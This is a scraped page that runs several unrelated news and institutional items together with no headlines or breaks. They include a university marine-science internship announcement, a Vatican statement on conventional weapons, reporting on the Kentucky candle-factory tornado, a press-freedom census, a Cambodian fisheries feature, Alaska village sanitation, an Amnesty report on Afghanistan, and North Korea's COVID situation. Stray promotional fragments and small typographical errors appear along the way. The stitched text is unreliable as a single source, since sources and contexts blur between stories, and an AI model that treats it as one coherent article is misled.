honors those who perished in the Deepwater Horizon oil spill and supports the next generation of marine scientists, said Dr. Kelly Darnell, MBRACE director and assistant research professor at USM. In this inaugural year of the internship program, the excellent group of undergraduate student interns conducted research in support of MBRACEs mission to understand stressors and dynamics to our coastal ecosystems and support management of Mississippis oyster resources. We look forward to continuing to provide internship opportunities through this program in future years. The mission of MBRACE is to seek sound comprehensive science-and technology-based understanding of the chronic and acute stressors, both anthropogenic and natural, on the dynamic and productive waters and ecosystems of the northern Gulf of Mexico, and to facilitate sustainable use of the Gulfs important resources. Below is information for each student and a description of their project. Disclaimer: This project was paid for with federal funding from the U.S. Department of the Treasury, the Mississippi Department of Environmental Quality, and the Mississippi Based RESTORE Act Center of Excellence under the Resources and Ecosystems Sustainability, Tourist Opportunities, and Revived Economies of the Gulf Coast States Act of 2012 (RESTORE Act). The statements, findings, conclusions, and recommendations are those of the author(s) and do not necessarily reflect the views of the Department of the Treasury, the Mississippi Department of Environmental Quality, or the Mississippi Based RESTORE Act Center of Excellence. MBRACE Project: Core Research Program Student: Joe Bell, senior School: USM (Ocean Engineering) Advisor: Dr. Kemal Cambazoglu (USM) Hometown: Waveland, MS Project Description: In-situ measurements for water quality monitoring, performed by USMs School of Ocean Science and Engineering, are used to validate the Coupled-Ocean-Atmosphere-Wave-Sediment-Transport (COAWST) modeling system results for spatial and temporal variability of water quality as it is affected by the opening and closing of the Bonnet Carre Spillway (BCS) in the year 2019. New model runs were also set up to improve the accuracy of the model predictions. Public Impact: It is known that BCS openings alter and reduce oceanic variables, such as salinity and temperature of water, found in the Mississippi Sound and Bight, due to the cool, freshwater output of the Mississippi River. With well-calibrated and trusted modeling applications, improved strategies can be established regarding the spillway operations. This can better mitigate detrimental side-effects on the marine ecosystem and ultimately lead to more sustainable practices. Note: Bell has submitted an abstract for the American Geophysical Union (AGU) Fall Meeting 2021 that is drawn from his internship research. Update: Bell presented a poster titled Validation of COAWST Modeling System Results for 2019 Bonnet Carre Spillway Openings in the Undergraduate Earth, Atmospheric, Ocean, and Space Science Research and Outreach Posters session on Wednesday December 15th. MBRACE Project: Core Research Program Student: John Preston Liles School: University of Arkansas Fort Smith (geosciences) Advisor: Dr. Padmanava Dash (MSU) Hometown: Fort Smith, AR Project Description: The main objective of this project is to assess the potential risk of harmful algal blooms to oysters and human health in the western Mississippi Sound. This objective will be accomplished through a set of integrated tasks: (1) Collection of water samples proximal to the Henderson Point and Pass Christian Oyster Reefs, (2) Laboratory analysis of the water samples for determining the phytoplankton community structure, algal toxins, chlorophyll a, phycocyanin, and nutrients, (3) Correlations of the combined dataset (newly collected dataset and the past data from 2015 and 2019) with river discharge, (4) Document the abundance of HABs in the western Mississippi Sound, and assess the risk of harmful algal blooms to oysters and potentially to higher trophic level organisms, including humans. Tasks 1 and 2 were completed this summer Liles completed this work during summer and fall 2021 and plans to present this work in conferences and subsequently publish this work in a peer-reviewed journal. Public Impact: Virtually every coastal country in the world is affected by harmful algal blooms (HABs) that has resulted in massive fish kills, loss of sales revenue primarily from fisheries and tourism, loss of commercially valuable and culturally vital shellfish resources, illness, and death in populations of protected marine species, and threats to human health. Oyster reef acreage as well as the volume and value of commercial oyster harvests in Mississippi waters have declined sharply in recent years, which has been attributed to a range of environmental stressors including impaired water quality. In 2019, the Mississippi Sound was affected by an unprecedented cyanobacterial bloom that resulted in the shutdown of the commercial oyster fishery, fish kills, bird deaths, and beach closures. In December 2015, a massive red tide bloom wrecked a similar havoc in the Mississippi Sound. Accordingly, the main goal of this project is to assess the potential risk of harmful algal blooms to oysters and human health in the western Mississippi Sound. MBRACE Project: Competitive Research Program: Impacts of water quality on oyster development to inform oyster reef restoration and sustainability on the Mississippi Gulf Coast Student: Jaycie Keylon, P1 Pharmacy (first professional year) School: UM Advisor: Dr. Deborah Gochfeld (UM) Hometown: Harrison, AR Project Description: This project, which is also Keylons Honors thesis project, assesses how different environmental stressors affect disease susceptibility and stress responses in oysters. This entailed analyzing the expression of genetic biomarkers related to the presence or absence of disease or stress. Public Impact: Oyster reefs provide essential ecosystem services to estuaries, including shoreline stability, increased biodiversity, improved water quality, and economic value to the community. Unfavorable environmental conditions, such as low salinity, increasing seawater temperature, hypoxia or ocean acidification may impact oyster susceptibility to diseases. By understanding how these stressors interact, we can do our part to try to reduce environmental impacts on the oysters and help preserve these important marine ecosystems. MBRACE Project: Competitive Research Program: Examining Rare Earth Elements in the Mississippi Sound Student: Talon Washington, senior School: University of New Orleans (biology) Advisor: Dr. Alan Shiller (USM) Hometown: New Orleans, LA Project Description: This project, which examines rare earth elements in the Mississippi Sound, is part of the larger project that involves examining evidence for input and impact of submarine groundwater discharge (SGD) in the Mississippi Sound. SGD is important because it is a hidden pathway of material input into coastal systems. These inputs include various chemical species that can affect the coastal ecosystem such as nutrients, metals, and oxygen-depleting substances. The rare earth elements (REEs) are a group of heavy elements that are not actually rare and have many applications in modern society such as in magnets, catalysts, and medical imaging. The REEs can also be used to study various ocean processes. In fact, groundwater is often enriched in REEs, so these elements can be used as tracers of SGD inputs to the coastal system. During her summer internship, Washington learned how to collect SGD samples for REE analysis. She then analyzed a suite of samples previously collected and put together a short presentation describing what she found. It does appear that the larger project will be able to use her data to further efforts to describe the input of SGD into the Mississippi Sound and what the impact of the SGD is on critical issues such as oyster survival and oxygen depletion. Public Impact: This will help describe and locate inputs of SGD in the Mississippi Sound. ** MBRACE Project: Competitive Research Program: Optical Observation for Oyster Larvae (O3L) Advisor: Dr. Xiaodong Zhang (USM) ** This project is recruiting an undergraduate intern for research during the 2021-22 academic year. The Vatican intervenes at a UN conference on conventional weapons in Geneva, reiterating its calls for disarmament. By Lisa Zengarini In the face of a world pandemic of uncertain duration, during which social and economic crises remain severe, and the increasingly serious effects of global climate change, it is scandalous that military expenditures continue to be on the rise, diverting potential resources from addressing poverty, inequality, injustice, education and health. This message was reiterated on Tuesday by Msgr John Putzer, charge d'affaires of the Holy See's Permanent Mission to the UN and other international organizations in Geneva, speaking at the Sixth Review Conference of the Convention on Prohibitions or Restrictions on the Use of Certain Conventional Weapons Which May Be Deemed to Be Excessively Injurious or to Have Indiscriminate Effects (CCW). The session is taking place in Geneva from 13-17 December. A false "logic Recalling that disarmament, development, and peace are three interdependent issues, the Vatican representative emphasized that the link of national security to the accumulation of weapons is a false logic: While there are understandable concerns for effective security and the legitimate right to self-defense, it is a deceptive and self-defeating logic to think that the security and peace of some could be somehow separated from the collective security and peace of others, he said. Instead, international security and peace are best achieved through the promotion of a culture of dialogue and cooperation, through peace education, and not through an arms race in which civilians always and inevitably bear the highest price. Regarding the implementation of the UN CCW Convention - which was first established in 1980 with the aim to prohibit or restrict the use of certain conventional weapons which are considered excessively injurious or whose effects are indiscriminate - the Vatican representative highlighted three issues which are of particular concern to the Holy See. Explosive remnants The first issue concerns explosive remnants of war that are not only posing a safety problem for the local population, but also a national and regional security problem. In this regard, Msgr. Putzer emphasized the urgent need to step up universalization efforts of CCW Protocol V addressing post-conflict remedial measures in order to minimize the occurrence and effects of explosive remnants of war, as well as international cooperation, to assist affected countries in a true spirit of fraternity. The Holy See is also concerned about the illicit traffic of small arms and light weapons, as well as explosive weapons, particularly in populated areas, which have become less and less conventional and more and more weapons of mass destruction and displacement, affecting peoples prospects for integral human development. Incendiary weapons The Vatican representative then called attention to the use of incendiary weapons, reiterating the Holy Sees support for a legal review of the provisions contained in Protocol III of the Convention in order to strengthen this instrument so as to remain relevant in todays conflicts and enhance the protection granted to the civilians and combatants. New weapons Mgsr. Putzer finally focused on new weapons, including, amongst others, laser weapon systems, radio-frequency and other direct energy technology, anti-satellite weapons, and weaponization of artificial intelligence. In this regard, he reiterated the Holy Sees call on other High Contracting Parties to be mindful of prevailing humanitarian and ethical considerations recalling the importance of pursuing every effort which may contribute to progress towards general and complete disarmament under strict and effective international control, as affirmed in the CCW Preamble. An Introduction to Doing Business in Vietnam 2021 will provide readers with an overview of the fundamentals of investing and conducting business in Vietnam.... A factory where eight people died and was destroyed during a catastrophic tornado strike last week in Kentucky told their workers if they leave early amid storm warnings, they would be fired, according to statements given by staff to the media. A Dec. 3 article by CNBC that interviewed staff of the now-ruined Mayfield Consumer Products (MCP), a business reported to produce scented candles, stated as many as 15 workers beseeched managers to let them take shelter at their own homes, only to have their requests rebuffed. CNBC interviewed an employee of the company, a 21-year-old woman, from her hospital bed, who was paraphrased as saying staff first tried to leave when tornado sirens went off at 5:30 p.m. The first set of sirens turned out to be a false alarm as staff hid in bathrooms and hallways, After employees decided that the immediate danger had passed, several began asking to go home, the workers said. The woman told CNBC she heard managers tell other staffers, If you leave, youre more than likely to be fired. I heard that with my own ears, she said. FURTHER READING: Vaccine Mandate Staffing Shortages Left Childrens Hospital Unable to Handle Waukesha Parade Attack According to the article, as the tornado struck the building during the second set of sirens, she was near the wax and fragrance room and was suddenly hit in the head by a piece of falling concrete and pinned under a fallen wall. CNBC said she was trapped for six hours, describing her injuries as, Several chemical burn marks on her legs, her buttocks and her forehead from the candle wax. She also sustained kidney damage, her urine is black, and she still cant move her legs because of the swelling and from having been motionless for so long. Another 29-year-old female employee clarified to the outlet that there was a three or four hour gap between the first set of sirens and when the real tornado struck, and it was the night shift that had been asking to leave with disaster pending. The woman said that managers did not want to let staff leave during the first set of sirens for safety reasons and instructed them to hide in the bathrooms and hallways. But after the first warning turned out to be a false alarm, everyone was sent back to work. She said that when the second set of sirens went off around 9:00 p.m., she and a group of other employees approached managers asking to leave, but were told You cant leave. You cant leave. You have to stay here. Another 20-year-old male employee told CNBC, I asked to leave and they told me Id be fired. Even with the weather like this, youre still going to fire me? he asked, adding that the answer from his boss was an unequivocal Yes. The young man said managers even took a roll call in order to confirm who had left without authorization. A spokesperson for the company characterized the claims as absolutely untrue. Weve had a policy in place since Covid began. Employees can leave any time they want to leave and they can come back the next day, he said. While one female team lead employed at the factory also told CNBC the reports were untrue, a fourth employee further told the outlet she overheard managers telling people who were trying to leave that they would be terminated if they did so. A fifth staffer, a forklift driver, said, Thats the thing. We should have been able to leaveThe first warning came, and they just had us go in the hallway. After the warning, they had us go back to work. They never offered us to go home. According to a Dec. 12 report by USA Today affiliate Courier Journal, Kentucky Governor Andy Beshear described during a press conference the candle factory disaster as, Its heavy machineryits the building thats flattened. Its cars from the parking lot that is on top of it. Its huge metal drums, even ones with corrosive chemicals that were inside. Itspretty awful to witness. The report said there were approximately 110 people inside the facility when the tornado struck. Beshear was further paraphrased as stating, Of the 110 workers who were believed to be at the factory when the tornado hit, there have been only 40 rescues of workers by first responders. MCPs spokesperson told the Journal, however, that all 110 employees had been accounted for with only eight fatalities. Beshear was quoted by the outlet as saying in response, The company right now says it has different information but until we can verify it, were still where we were (Saturday). The Committee to Protect Journalists (CPJ), a nonprofit that promotes press freedoms across the world, recently published its annual prison census report for 2021. China was once again found to be the worlds worst jailer of journalists for the third consecutive time, with 50 news reporters being put behind bars. The CPJ report comes as China is scheduled to host the 2022 Winter Olympics in February. The report notes that though Chinas relentless incarceration is nothing new, this is the first time that journalists imprisoned in Hong Kong have made their way into the census; a consequence of Beijing imposing the National Security Law (NSL) in June of last year. The law allows the administration to arrest anyone who is suspected of working for foreign interests and who engages in what the state deems subversive activities. There have been reports that the law is being utilized to target pro-democracy and free speech activists as well as reporters. From Hong Kong, eight media figures were imprisoned, with some of them facing lifelong sentences. A key figure among the incarcerated is Jimmy Lai, the founder of the now shuttered media outlet Apple Daily. The outlet was forced to shut down operations last year after authorities used the NSL to freeze the companys assets. As far as mainland China is concerned, some individuals faced vague Orwellian charges. In May 2020, freelance video journalist Zhang Zhan was arrested for covering Chinas unimpressive response to the COVID-19 pandemic. She was eventually sentenced to four years in prison for picking quarrels and stirring up trouble, which the CPJ says is a charge often used to target peaceful critics of the communist party. Some were accused of being two-faced, a term often used against Uyghur reporters. China also targeted non-journalists for tenuous associations with the media, arresting 11 people for allegedly sending material to The Epoch Times, a media company affiliated with the spiritual group Falun Gong. The 11 are not listed in the CPJ census because The Epoch Times said they were not reporters, but their detention is an ominous indicator of Chinas efforts to stifle media discourse, the report states. The CPJ census only takes into account journalists who are held in government custody. It does not include journalists who are held captive or have disappeared due to the activities of non-state actors. In total, the number of journalists who were jailed for their work in 2021 hit a new record with 293 individuals behind bars, up from 280 in 2020. 24 journalists were found to have been killed due to their coverage while 18 died under unclear circumstances. After China, Myanmar came in second for being the worst jailer following a military coup in the country on Feb. 1. Other countries in the top five include Egypt, Belarus, and Vietnam. In November, the Hong Kong Foreign Correspondents Club (FCC) published the results of a survey showing that almost half its members were thinking of leaving the city due to the crackdown on press freedom. Of the 99 polled journalists, 83 said that the working environment of Hong Kong had changed for the worse after the NSL was imposed last year. These results clearly show that assurances that Hong Kong still enjoys press freedom, guaranteed under the Basic Law, are not enough More steps need to be taken to restore confidence among journalists and to make sure Hong Kong maintains its decades-long reputation as a welcoming place for the international media, FCC President Keith Richburg stated. In its response, China lashed out at the survey, accusing FCC of being black hands that intervene in city affairs and asked the organization to stop making noise. BATTAMBANG, CAMBODIA When Puth Thavy was 20, the fisherman and his siblings used to come back to their village each day with three boatloads full of fish, or about 200 kilograms. Today they can barely fill a single boat. Our fishing is so bad, I think it has decreased more than half, said Thavy, now 38, as he and his sister sold the days catch to a middleman on a floating house at the edge of the Tonle Sap floodplain. We are getting older, while the fish are getting fewer. Two of Thavys eight siblings have stopped fishing, and left their hometown. The family is from Bak Prea floating village in Battambang province, well-known from a Cambodian 1960s classical song, Fishermans Daughter. These days, many of the villages daughters have left for better jobs. Thavys experience mirrors what other fisher families on the Tonle Sap lake told VOA Khmer and what countless fishers have been saying for years. Their daily catch has been on a steady decline, forcing many to migrate for seasonal work or leave the industry altogether. An analysis of available data confirms that fewer people are fishing across Cambodia. But other indicators reveal a trend that is difficult for many to believe: the number of fish caught in Cambodia has reportedly doubled over the last 20 years. How could total fish yields double while local fishing families are in a downward spiral? VOA analyzed data sets from the UN Food and Agriculture Organization, the National Institute of Statistics and Fish Administration, and interviewed fishery experts, government officials and local fisher families to find out whats really happening and why. While some experts were skeptical of the figures, one researcher said both trends could be possible due to intensive fishing practices. The catch could be increasing, yet the fish stock, or the quantity of fish at a certain time in the system, could decline, said Jean Christopher-Diepart, a researcher on agrarian changes in the Mekong region, whose study on Fishery Reform in Cambodia was published in 2016. They can increase fish catch, but not in a sustainable way. The fish they catch are basically gone from the system; they cannot reproduce. Fishery in Cambodia: Golden Era, Last Refuge Cambodia has long been considered one of the worlds most productive and diverse fisheries thanks to its unique ecosystem: the annual flood waters that surge down the Mekong River and force the Tonle Sap river to reverse direction, flooding thousands of hectares and providing ideal habitat and food for fish. In a typical rainy season, high water levels also inundate areas all the way to Vietnam. In the dry season, as the waters recede, abundant fish stocks are forced back into the main bodies of water such as the Mekong River and Tonle Sap Lake, and thats when fish are harvested. This naturally built ecosystem has historically given fortune to fishermen families like Thavy's. Cambodians are among the heaviest consumers of freshwater fish each Cambodian eats about 40 kilograms of fish in a year, representing 70% of Cambodias intake of animal protein. The official numbers indicate it should still be a golden era for fisher families. The countrys inland fishery yield has doubled over the last 20 years, from about 250,000 tons to more than half a million tons annually, according to data from the UN Food and Agriculture Organization (FAO), which uses yearly totals collected by district and provincial fish administrations. Cambodian officials said the overall trends show the freshwater fishery in Cambodia is doing well, thanks to good management and fishers who obey laws and regulations. Fish catches increased mainly before 2018, and are currently considered stable. But the latest update from the Fishery Administration shows the fishery has dropped by one-fifth over the last two years to about 413,00 tons. A slight decrease in 2020 can be attributed to low water levels caused by unusually low rainfall in the Mekong River basin, explained Hong Hy, director of the Department of Administration and Legislation in Cambodias Fisheries Administration. Zeb Hogan, a fish biologist at the University of Nevada, Reno, who hosted NatGeo Wilds television show Monster Fish, said drought and low water levels mean the Tonle Sap Lake doesnt expand as much as it used to. In the last three to five years, we haven't had the big floods that really help with the fisheries and really help with the ecosystem, he said. Even official data shows the long term consequences of low water levels. Annual monitoring of fish larvae by the Fish Administration reveals the relation between water levels and fish catch. In short, it says that during low water levels, like the drought in 2019, when the rains were two months late, there is a smaller fish catch and less diversity of fish. Dai fisheries the fishers who use a stationary trawl and long nets in the Tonle Sap River to capture migrating fish saw a decline in diversity, with 10 species making up 90% of the catch. The drop in diversity has been noticed by fishers. When Thavy was young, he never expected he would experience a shortage of fish. But in the last few years, he started to notice that some of the species he knew from his childhood are gone. I havent seen the giant snakehead (Trey Diep) for a while, he said. They have completely disappeared. Four-eyed snakehead (Trey Kanhchorn Chey) also disappeared. Now we only see the smaller kind of fish. Hogan stressed that the fishery in Cambodia now relies heavily on smaller species, such as the well-known Trey Riel, or Siamese mud carp, a small fish resilient to overfishing. The population of big fish has declined, but the Trey Riel population has remained extraordinarily stable, Hogan said Trey Riel and other small fish are really sustaining the Cambodia fish harvest right now. Still, Hogan added, The Mekong is one of the most productive rivers in the world, and Cambodia is really the heart of that production. Cambodia is kind of the last refuge for a lot of these [large and migratory] fish. And it's the most important area for fisheries in all of the Mekong, and in all of Southeast Asia, he said. But the more dams that are built, the harder it is to reverse the changes that we're seeing. Here In this Place, Our Hope Lies in Water A fish dealer in Bak Prea and a mother of five, Pheav Soriya, 52, and her husband Tung Yoth, 57, stopped fishing in 1995 after their first child was born. Their wooden house painted in light blue is like a port, floating at the intersection of the village. Its where every fisherman comes to dock their boat, load their fish, and sell. Its very bad this year, Soriya said. There are almost no fish since there is not much water. Last year we waited until November for the water to come up. We almost starved. And this year, the pandemic made it worse. In the past, her family of seven could earn up to $100 US per day. Now, if I could earn 100,000 riels (25 U.S. dollars) in a day, I would be happy. she added. Her cousins family abandoned fishing completely and are working in factories in the nearby Poipet province. But Soriya still relies on fishing. Here in this place, I tell you frankly, our hope lies in water, Soriya said. Villagers along the Tonle Sap floodplain are among those who have felt the impacts most. Phal Phany, 25, and her husband Pov Sith, 30, have been fishing together since they were teenagers in Prek Troab village. The couple use profits from fishing to grow crops including mung beans, corn, watermelon and pumpkin. This year, they have hardly been able to catch anything but snails. If the water doesn't come soon, I wont be able to earn enough money from fishing, said Phany, who is pregnant and has a 7-year-old boy. My plan this year is to take out a loan [again] to do farming next season. Phany said she usually spends up to 40,000 riels (10 U.S. dollars) per time to go fishing, including gasoline and bait, but some nights they dont get fish and lose the bait. I never expected we would grow up only to see low water, and fewer fish, she said. My last resort would be to leave this hometown again to find jobs in order to pay back loans. Her father, Chuch Phal, 59, sat nearby. For my generation, he said, I could cast two nets and get a boat [of fish], but for this generation, it takes them from dusk till dawn, and they cant even catch 10 kilograms. To cope with such change, Phany and her husband went to Thailand in 2016 to work in construction. They stayed three years. Now they cant travel because of the Covid-19 pandemic, and they do not want to leave their children with the grandparents again. Many of Phanys peers also have moved out of the village to work in construction or factories in Phnom Penh, Poipet or other towns. Among 10 of my peers in the village, I would say six migrate, and four stay here, Phany said. Official data bear this out. In 2009, more than half of households used to be involved in fishing for income. A decade later, that figure dropped to about one in three, according to the national Socio-Economic Surveys. The decline occurred across the country's freshwater fishery zones. In the Tonle Sap region, the number of fisher families decreased by 17 percent over the same 10-year period. There are fewer fishers than before, Hong Hy said, because fishing is well, the fish catch is getting lower, so fishers switch the occupation to do something else. The young people, who used to work with parents at farms or fishing, now go to work in factories. Officials said the exact number of fishers in Cambodia is unknown, as is their total catch. Those are two big missing pieces of the data puzzle. Researchers believe that the needs of fishing families cannot be addressed until they are understood. The law doesnt require small-scale and family-scale fishers to report their number of fish catch, said Lieng Sopha, director of the Department of Community Fisheries Development (CFDD) in the Ministry of Agriculture, Forestry and Fisheries. Sopha co-authored a recent study on fish counts that noted the impact of national planning on small-scale fishers is unknown due to a lack of data. This means they are not adequately factored into decision-making processes and as a consequence resources and investments often fail to reach those who need them most, the study says. Small-scale fishers have long struggled while commercial fisheries thrived, but in recent years the Cambodian government has turned the tables. Two fishery reforms have been imposed, in 2001 and 2012, that extend fishing rights to small-scale fishers and fishing communities that used to be exclusively for commercial fishing lots. The reforms aim to benefit the local fishers socially and economically, but the current multiple stressors affecting fishery in Cambodia are too big for the community to solve, said Christopher-Diepart. On the one hand, the Cambodia fishing industry is affected by far-away dams, which impact the flow of water and block nutrient-rich sediments. On the other, the country faces its own local issues: overfishing, lack of law enforcement on fishery crimes, the destruction of flooded forest due to the expanding agricultural areas, and powerless communities, Christopher-Diepart told VOA Khmer. In 2019, Cambodia made a decision to pause its mainstream Mekong River dam plans until 2030, news that many experts applauded. There werent official explanations on the motive, but experts point out the possibility of water shortages that could not generate the expected electricity power and the harm they would cause to fisheries and the rivers ecology. Fish Farming is Fishers Saving Account One partial answer to the struggles of local fishers is fish farming, or aquaculture. Aquaculture in Cambodia has doubled over the 20 years, according to the FAO. From 2014 to 2019 alone, total aquaculture products tripled to more than 300,000 tons. Its clear that we cant rely on nature anymore, said Hong Hy. The population also increases, and the scientists have proved that fish is the most important nutritional source benefiting public health. Fish is now in high demand. Nature cant support this much, so we need to farm fish. Puth Rina, 35, one of Thavys sisters, decided to raise fish. Investing in aquaculture is not the same way as fishing, she said, and not the same as loading fish off the boat, measuring its weight, and counting money. She counted her fingers as if calculating and thought a while before coming up with the right words: Doing aquaculture, she said, is like having a savings account. If we only depend on the river fish, we dont have anything to save, she said. So far, aquaculture, in addition to freshwater fishing, has kept her other siblings surviving without migrating. Other sources VOA Khmer talked to were not successful in aquaculture; some quit and some cannot afford to start. The price of the farm fish is commonly half that of freshwater fish, Rina said. The fish dealer, Pheav Soriya, used to farm fish in two floating cages, about 50,000 fry, only to quit after she failed a few years. It didn't make a profit, she said. The fish food is expensive, but the price of the farmed fish is cheap in the market. I lost a lot. When I farmed fish, I didn't sleep well. When I stopped farming, I stopped feeling pain, she added. Cambodia has 51,000 fish farms, with 49,000 households adopting the practice, according to data from the Cambodia Inter-censual Agriculture Survey 2019. The same data shows aquaculture fisheries valued at about $95 million U.S. per year. Cambodias aquaculture is not yet competitive, Hong Hy said. First, the knowledge of fish farmers is still limited in terms of technical skills. Second, our infrastructure is still limited, and we also lack resources like making fish food. Currently, Cambodia has 516 community fisheries, or groups of small-scale fishers who are given rights to co-manage fishery resources in their regions. The number of community fisheries has doubled over the last two decades. To invest in aquaculture, Christopher-Diepart recommended turning existing community fisheries into commercial aquaculture schemes. The key challenges will be how this organization that has been established long ago to basically be converted, or would transform into a commercial aquaculture scheme, he said. While the environmental impact of aquaculture hasnt been broadly studied in Cambodia, experts say its a positive way to produce food. On this edition of Straight Talk Africa, host Hayde Adams and a guest panel review the top stories from Africa in 2021 from COVID-19 vaccine drives and coup attempts to economic recovery and advancements in culture and technology. Guests include Patsy Widakuswara, VOAs White House bureau chief, Vincent Makori, managing editor of VOAs Africa 54, Emira Woods, a pan-African strategist, VOA Portuguese reporter Mayra De Lassalette and VOA French to Africa reporter Arzouma Kompaore. It's winter in Shishmaref, Alaska, an Inupiat village on Sarichef, an eroding barrier island in the Chukchi Sea, just north of the Bering Strait. Shishmaref is one of about 30 villages in Alaska that lack running water as well as sewage and solid waste disposal systems. "If you want water, you drive by snow machine 10 to 20 miles (16 to 32 kilometers) out of town and literally chip away at the ice with an ax or an auger and haul it back on a sled attached to your machine," said Twyla Thurmond, who works with the Climigration Network to help Shishmaref manage environmental threats. It's hard work and time-consuming. This time of year, temperatures can dip down to minus 40 Celsius, and the ice on freshwater lakes can thicken to 85 centimeters. Elders and people without machines or sleds are forced to either pay $75 for a 50-gallon (189-liter) container of ice or haul water from the washeteria, a city-run holding tank. "You pull up with your machine and attached sled and fill up 50-gallon trash buckets by a hose system at a price of 25 cents per 20 gallons (75 liters)," Thurmond said. "But that water is overly chlorinated and can cause health problems with long-term use." For $4, residents can also take a 15-minute shower at the washeteria. The Environmental Protection Agency estimates that the average American uses about 310 liters of water a day; the United Nations says people should be able to access between 50 and 100 liters per day. "Persons in the Shishmaref community use as little as 2 gallons a day," Thurmond said. Families are known to fill a single basin with water and use and reuse it all day. Residents also rely on outhouses or "honey buckets" 19-liter pails lined with plastic bags and used as indoor toilets. When the buckets are full, they remove the bags and haul them to the sewage lagoon, an open pit at the far end of the airport runway. "Say you have two adults living in a household," Thurmond said. "The bucket will stay in the house until it fills up in about a week. For a larger household, you're dumping the bucket every couple of days." The lack of in-home water and sewer service causes severe skin and respiratory infections. According to the Alaska Department of Environmental Conservation, residents of southwest Alaska suffer rates of invasive pneumococcal disease that are among the highest in the world. A recent University of Fairbanks study suggests that limited water and sanitation actually boost the spread of COVID-19. A game changer? Residents of Shishmaref and other underserved Alaska Native communities are hopeful that some help is on the way. The Infrastructure Investment and Jobs Act (IIJA), signed into law in November, sets aside billions of dollars for Alaska-specific projects, including $3.5 billion in highway funding and at least $100 million to fill in gaps in broadband services. It also provides $230 million to the EPA's Alaska Native Villages grant program to support new and improved waste and drinking water systems. "The latest Indian Health Service Sanitation Deficiency System data identifies a need in excess of $3.4 billion for sanitation construction projects in Indian Country, with more than half of the need in Alaska," said U.S. Public Health Service Captain David Beveridge, senior director of Environmental Health and Engineering at the Alaska Native Tribal Health Consortium. "Projects identified in the database include construction of first-time community-wide water and sewer systems, as well as replacement and upgrades to existing water, wastewater and solid waste facilities essential to the public health of community residents," Beveridge said in an emailed statement to VOA. He also points to another threat to water systems: across Alaska, permafrost thaw, flooding and erosion caused by climate change is wreaking havoc on villages. Beveridge cites two villages Point Lay, in Alaska's North Slope Borough, and Napakiak, in the Bethel Census Area. "In Point Lay, permafrost degradation has contributed to the loss of the community water source, water storage tank and the catastrophic failure of the piped water and sewer system," Beveridge said. "In Napakiak, aggressive riverine erosion imminently threatens the community's drinking water well." He estimates that adequately preparing for and responding to environmental threats would require $80 million in funding annually. The IIJA will provide $216 million to the Bureau of Indian Affairs' nationwide Tribal Climate Resilience Program and $75 million to the Denali Commission, a federal agency based in Anchorage, Alaska, to help Alaskan villages fight the effects of climate change. Alaska Republican Senator Lisa Murkowski, one of the 10 members of a bipartisan Senate group that drafted the bill, has called it one of the most consequential legislative efforts of her career. "The Infrastructure Investment and Jobs Act recognizes that Alaska is decades behind in having the basic infrastructure which many states in the Lower 48 take for granted," she said in a statement issued after the bill passed. "It addresses that gap by sending billions of dollars back home to put Alaskans to work all of which will benefit generations to come." P.J. Simon, chief and chairman of the Tanana Chiefs Conference, a nonprofit consortium providing services to 42 villages in Alaska's interior, is skeptical. Considering there are 229 tribes in Alaska, he says IIJA allocations are inadequate to meet villagers' infrastructure needs. "And that's assuming that funds would go directly to the village chiefs," he said. "But they don't. They trickle down from the Interior Department through the Bureau of Indian Affairs to corporations in Alaska. By the time that money reaches the villages, it amounts to basically diddly squat" (nothing). A global human rights group is accusing all parties to the conflict in Afghanistan of inflicting extensive casualties on civilians before the U.S.-backed government in Kabul collapsed and the Islamist Taliban took power last August. The London-based Amnesty International said Wednesday in a new report that the months leading up to the fall of Kabul were marked by repeated war crimes and relentless bloodshed committed by the Taliban, Afghan security forces and the U.S. military. Our new evidence shows that, far from the seamless transition of power that the Taliban claimed happened, the people of Afghanistan have once again paid with their lives, said Agnes Callamard, Amnesty Internationals secretary general. Homes, hospitals, schools and shops were turned into crime scenes as people were repeatedly killed and injured. The people of Afghanistan have suffered for too long, and victims must have access to justice and receive reparations, she said. Amnesty International noted in its report that during their military advances across Afghanistan in July and August, Taliban fighters tortured and killed ethnic and religious minorities, soldiers loyal to the deposed government, and people perceived as ex-government sympathizers in reprisal attacks. US Air Strikes The report documented four recent air strikes three allegedly carried out by U.S. forces, and one by the then-Afghan Air Force that resulted in 28 civilian deaths, including women and children. Such strikes form a pattern of civilian harm that continued until the last moments of the conflict, when a U.S. drone strike killed 10 people, including seven children in Kabul on 29 August 2021, the report said. The U.S. military later admitted that those killed were civilians. Amnesty International called on the Taliban and the U.S. to meet their international obligations and establish clear and robust mechanisms for civilians to request reparations for harm sustained during the conflict. The August 29 U.S. drone attack in the Afghan capital, the day before American troops ended their 20-year mission, was conducted in response to a suicide bombing outside Kabuls international airport that killed nearly 200 people, including 13 U.S. service members. Pentagon officials had acknowledged that the strike was a tragic mistake. An independent investigation led by the Air Force inspector general concluded the strike did not violate laws of war and was a result of confirmation bias rather than criminal negligence. The U.S. military said this week it would not punish any of the personnel involved in the drone operation after Defense Secretary Lloyd Austin approved recommendations from two top commanders. ICC Probe In her remarks Wednesday, Callamard, also denounced as misguided a recent decision by the International Criminal Court that it would focus an Afghan war crimes investigation into alleged crimes by the Taliban and Islamic State-Khorasan rather than by American or former Afghan security forces. Callamard urged the court to follow the evidence on all possible war crimes, no matter where it leads. ICC Prosecutor Karim Khan in a statement earlier this month defended the decision, arguing he had to consider his budget, the gravity of the alleged crimes and whether prosecutions could lead to a conviction. He denied bowing to any political pressure. I made a decision, based upon the evidence, that the worst crimes in terms of gravity and scale and extent seem to be committed by the so-called Islamic State-Khorasan and also the Taliban, Khan told a meeting of ICC member states in The Hague on December 6. The ICC launched a preliminary investigation in Afghanistan in 2006, and Khans predecessor Fatou Bensouda asked judges in 2017 to authorize a full investigation, saying there was reasonable suspicion of war crimes by the Taliban and the US military. The ICCs investigation had long upset Washington and prompted former President Donald Trumps administration to impose sanctions on Bensouda. The Biden administration lifted those sanctions earlier this year. The deposed Afghan government asked the court in early 2020 to halt the inquiry while Kabul conducted its own investigation into war crimes. Public health experts say promising COVID-19 treatment pills could play a key role for North Korea, one of the only countries yet to begin coronavirus vaccinations. For nearly a year, North Korea has rejected vaccine offers from other governments and from COVAX, a United Nations-backed global vaccine distribution program. As VOA reported in July, North Korea is worried about the efficacy and side effects of the AstraZeneca vaccine that COVAX has allocated for the country. It is also concerned about the presence of foreign aid workers that would help facilitate a vaccine campaign. North Korea, which remains in a total lockdown, insists it has no COVID-19 cases. But that claim has failed to convince observers, who warn an outbreak could devastate the impoverished country. With vaccine efforts stalled, an urgent shipment of coronavirus treatment pills may be the best way forward, according to physicians and public health experts who have worked in North Korea. 